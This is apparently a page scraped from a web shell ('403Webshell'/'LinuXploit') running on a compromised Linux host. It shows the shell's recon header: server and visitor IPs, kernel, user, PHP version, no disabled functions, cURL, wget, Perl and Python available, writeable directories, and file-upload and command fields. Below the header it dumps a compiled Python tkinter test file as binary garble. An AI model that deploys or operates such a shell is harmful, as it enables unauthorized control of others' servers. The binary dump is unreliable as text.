403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/tkinter/test/test_tkinter/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/tkinter/test/test_tkinter/__pycache__/test_images.cpython-36.pyc
3

�w2_+4�@s�ddlZddlZddlmZddlmZmZejd�Gdd�deej�Z	Gdd�deej�Z
Gd	d
�d
eej�Ze	e
efZe
dkr�eje�dS)�N)�support)�AbstractTkTest�requires_tclZguic@seZdZdd�Zdd�ZdS)�MiscTestcCs2|jj�}|j|t�|jd|�|jd|�dS)N�photo�bitmap)�root�image_types�assertIsInstance�tuple�assertIn)�selfr	�r�J/opt/alt/python36/lib64/python3.6/tkinter/test/test_tkinter/test_images.py�test_image_typess
zMiscTest.test_image_typescCs|jj�}|j|t�dS)N)r�image_namesr
r)r
rrrr�test_image_namess
zMiscTest.test_image_namesN)�__name__�
__module__�__qualname__rrrrrrr	src@sPeZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�ZdS)�BitmapImageTestcCs tjj|�tjddd�|_dS)Nz
python.xbm�
imghdrdata)�subdir)r�
setUpClass�__func__r�findfile�testfile)�clsrrrrszBitmapImageTest.setUpClasscCs�tjd|jdd|jd�}|jt|�d�|j|j�d�|j|j�d�|j|j�d�|j	d|jj
��~|jd|jj
��dS)Nz::img::test�yellow�blue)�master�
foreground�
background�filer�)�tkinter�BitmapImagerr�assertEqual�str�type�width�heightrr�assertNotIn)r
�imagerrr�test_create_from_files

z%BitmapImageTest.test_create_from_filecCs�t|jd��}|j�}WdQRXtjd|jdd|d�}|jt|�d�|j|j�d�|j|j	�d�|j|j
�d�|jd|jj��~|j
d|jj��dS)N�rbz::img::testrr)r r!r"�datarr$)�openr�readr%r&rr'r(r)r*r+rrr,)r
�fr0r-rrr�test_create_from_data)s
z%BitmapImageTest.test_create_from_datacCs$|j|t�|j|jj|�|�dS)N)r
r(r'rZ	splitlist)r
ZactualZexpectedrrr�assertEqualStrList7sz"BitmapImageTest.assertEqualStrListcCs�tjd|jd�}|j|dd�t|jd��}|j�}WdQRX|j|d�|j|ddddd|j	d	�f�|j|j
�d
�|j|j�d
�|j|dd�|j|d
�|j|ddddd|j	d	�f�dS)Nz::img::test)r r0z-data {} {} {} {}r/)r0z-data��asciir$�maskdataz-maskdata {} {} {} {})r8z	-maskdata)r%r&rr'r1rr2�	configurer5�decoder*r+)r
r-r3r0rrr�test_configure_data;s

z#BitmapImageTest.test_configure_datacCs�tjd|jd�}|j|dd�|j|jd�|j|ddddd|jf�|j|j�d�|j|j�d�|j|d	d
�|j|jd�|j|d	dddd|jf�dS)
Nz::img::test)r r#z-file {} {} {} {})r#z-filer6r$�maskfilez-maskfile {} {} {} {})r<z	-maskfile)	r%r&rr'r9rr5r*r+)r
r-rrr�test_configure_fileKs

z#BitmapImageTest.test_configure_filecCs@tjd|jd�}|j|dd�|jdd�|j|dd�dS)Nz::img::test)r r"z-background {} {} {} {}r)r"z-background {} {} {} blue)r%r&rr'r9)r
r-rrr�test_configure_backgroundYsz)BitmapImageTest.test_configure_backgroundcCs@tjd|jd�}|j|dd�|jdd�|j|dd�dS)Nz::img::test)r r!z!-foreground {} {} #000000 #000000r)r!z -foreground {} {} #000000 yellow)r%r&rr'r9)r
r-rrr�test_configure_foreground_s

z)BitmapImageTest.test_configure_foregroundN)rrr�classmethodrr.r4r5r;r=r>r?rrrrrsrc@s�eZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zedd�dd��Zedd�dd��Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7S)8�PhotoImageTestcCs tjj|�tjddd�|_dS)Nz
python.gifr)r)rrrrrr)rrrrrjszPhotoImageTest.setUpClasscCstjd|j|jd�S)Nz::img::test)r r#)r%�
PhotoImagerr)r
rrr�createos
zPhotoImageTest.createcGs"tjdkr|jr|Stj|�SdS)Ng333333!@)r%�	TkVersion�wantobjectsZ_join)r
�argsrrr�	colorlistsszPhotoImageTest.colorlistcCs�tjd|dd�}tjd|j|d�}|jt|�d�|j|j�d�|j|j�d�|j|j	�d�|j|dd	�|j|d
|�|j
d|jj��~|jd|jj��dS)Nzpython.r)rz::img::test)r r#rr$r0r6r#)
rrr%rBrr'r(r)r*r+rrr,)r
�extrr-rrr�check_create_from_fileys
z%PhotoImageTest.check_create_from_filecCs�tjd|dd�}t|d��}|j�}WdQRXtjd|j|d�}|jt|�d�|j|j	�d�|j|j
�d�|j|j�d�|j|d	|jr�|n|j
d
��|j|dd�|jd|jj��~|jd|jj��dS)
Nzpython.r)rr/z::img::test)r r0rr$r0�latin1r#r6)rrr1r2r%rBrr'r(r)r*r+rEr:rrr,)r
rHrr3r0r-rrr�check_create_from_data�s
z%PhotoImageTest.check_create_from_datacCs|jd�dS)N�ppm)rI)r
rrr�test_create_from_ppm_file�sz(PhotoImageTest.test_create_from_ppm_filecCs|jd�dS)NrL)rK)r
rrr�test_create_from_ppm_data�sz(PhotoImageTest.test_create_from_ppm_datacCs|jd�dS)N�pgm)rI)r
rrr�test_create_from_pgm_file�sz(PhotoImageTest.test_create_from_pgm_filecCs|jd�dS)NrO)rK)r
rrr�test_create_from_pgm_data�sz(PhotoImageTest.test_create_from_pgm_datacCs|jd�dS)N�gif)rI)r
rrr�test_create_from_gif_file�sz(PhotoImageTest.test_create_from_gif_filecCs|jd�dS)NrR)rK)r
rrr�test_create_from_gif_data�sz(PhotoImageTest.test_create_from_gif_data��cCs|jd�dS)N�png)rI)r
rrr�test_create_from_png_file�sz(PhotoImageTest.test_create_from_png_filecCs|jd�dS)NrW)rK)r
rrr�test_create_from_png_data�sz(PhotoImageTest.test_create_from_png_datacCs�tjd|jd�}|j|dd�t|jd��}|j�}WdQRX|j|d�|j|d|jr`|n|j	d��|j|j
�d�|j|j�d�dS)	Nz::img::test)r r0r6r/)r0rJr$)r%rBrr'r1rr2r9rEr:r*r+)r
r-r3r0rrrr;�sz"PhotoImageTest.test_configure_datacCsntjd|jd�}|j|dd�|j|jdd�|j|d|jrDdnd�|j|j�d�|j|j�d�dS)	Nz::img::test)r �formatr6rR)r#rZr$)rR)	r%rBrr'r9rrEr*r+)r
r-rrr�test_configure_format�sz$PhotoImageTest.test_configure_formatcCsdtjd|jd�}|j|dd�|j|jd�|j|d|j�|j|j�d�|j|j�d�dS)Nz::img::test)r r#r6)r#r$)r%rBrr'r9rr*r+)r
r-rrrr=�sz"PhotoImageTest.test_configure_filecCs@tjd|jd�}|j|dd�|jdd�|j|dd�dS)Nz::img::test)r �gammaz1.0g@)r\z2.0)r%rBrr'r9)r
r-rrr�test_configure_gamma�sz#PhotoImageTest.test_configure_gammacCs�tjd|jd�}|j|dd�|j|dd�|jdd�|jdd	�|j|dd
�|j|dd�|j|j�d�|j|j�d�dS)Nz::img::test)r r*�0r+�)r*�
)r+Z20Z10)r%rBrr'r9r*r+)r
r-rrr�test_configure_width_height�sz*PhotoImageTest.test_configure_width_heightcCs\tjd|jd�}|j|dd�|jdd�|j|dd�|jdd�|j|dd�dS)	Nz::img::test)r �paletter6�)rbZ256z3/4/2)r%rBrr'r9)r
r-rrr�test_configure_palette�sz%PhotoImageTest.test_configure_palettecCsR|j�}|j�|j|j�d�|j|j�d�|j|jdd�|jddd��dS)Nr$�rVr)rCZblankr'r*r+�getrG)r
r-rrr�
test_blank�s
zPhotoImageTest.test_blankcCsP|j�}|j�}|j|j�d�|j|j�d�|j|jdd�|jdd��dS)Nr$rerV)rC�copyr'r*r+rf)r
r-�image2rrr�	test_copy�s
zPhotoImageTest.test_copycCs�|j�}|jdd�}|j|j�d�|j|j�d�|j|jdd�|jdd��|jd�}|j|j�d�|j|j�d�|j|jdd�|jdd��dS)N��rUrVre)rCZ	subsampler'r*r+rf)r
r-rirrr�test_subsample�s
zPhotoImageTest.test_subsamplecCs�|j�}|jdd�}|j|j�d�|j|j�d�|j|jdd�|jdd��|j|jd	d
�|jdd��|jd�}|j|j�d�|j|j�d�|j|jdd�|jdd��|j|jd	d�|jdd��dS)
Nrkrl� �0rU�rerV�	r_��
)rCZzoomr'r*r+rf)r
r-rirrr�	test_zooms
zPhotoImageTest.test_zoomcCs"|j�}|jddd�|j|jdd�|jddd��|j|jdd�|jdtjdkrVd	ndd��|j|jdd
�|jddd��|j|jdd
�|jddd��|jd�|j|jdd�|jddd��|j|jdd�|jddd��|j|jdd�|jddd��|j|jdd�|jddd��dS)Nz{red green} {blue yellow}rerV)Zto�r�g333333!@���#f00�#00ff00�
#000000fff�
#ffffffff0000�)rerV�ryrz�r{r|)r~r)rCZputr'rfrGr%rD)r
r-rrr�test_puts

zPhotoImageTest.test_putcCs�|j�}|j|jdd�|jddd��|j|jdd�|jddd��|j|jdd�|jddd��|jtj|jd
d�|jtj|jdd�|jtj|jd	d�|jtj|jdd	�dS)NrerV�>�t�r�r}r$���r�)rCr'rfrGZassertRaisesr%ZTclError)r
r-rrr�test_getszPhotoImageTest.test_getcCsV|j�}|jtjtj�|jtj�tjd|jdtjd�}|j	t
|�d�|j	|j�d�|j	|j�d�|j	|j
�d�|j	|jdd�|jdd��|j	|jdd�|jdd��|jtjd	dd
�tjd|jd	tjd�}|j	t
|�d�|j	|j�d�|j	|j�d�|j	|j
�d�|j	|jdd�|jd
d��|j	|jdd�|jdd��dS)Nz::img::test2rL)r rZr#rr$rr�rUrRrerVrq)rZZfrom_coordsz::img::test3rkrlr}rv)rerVrVrq)rCZ
addCleanupr�unlinkZTESTFN�writer%rBrr'r(r)r*r+rf)r
r-riZimage3rrr�
test_write)s,



zPhotoImageTest.test_writeN)rrrr@rrCrGrIrKrMrNrPrQrSrTrrXrYr;r[r=r]rardrgrjrmrtr�r�r�rrrrrAhs4	
rA�__main__)Zunittestr%ZtestrZtkinter.test.supportrrZrequiresZTestCaserrrAZ	tests_guirZrun_unittestrrrr�<module>s

R]


Youez - 2016 - github.com/yon3zu
LinuXploit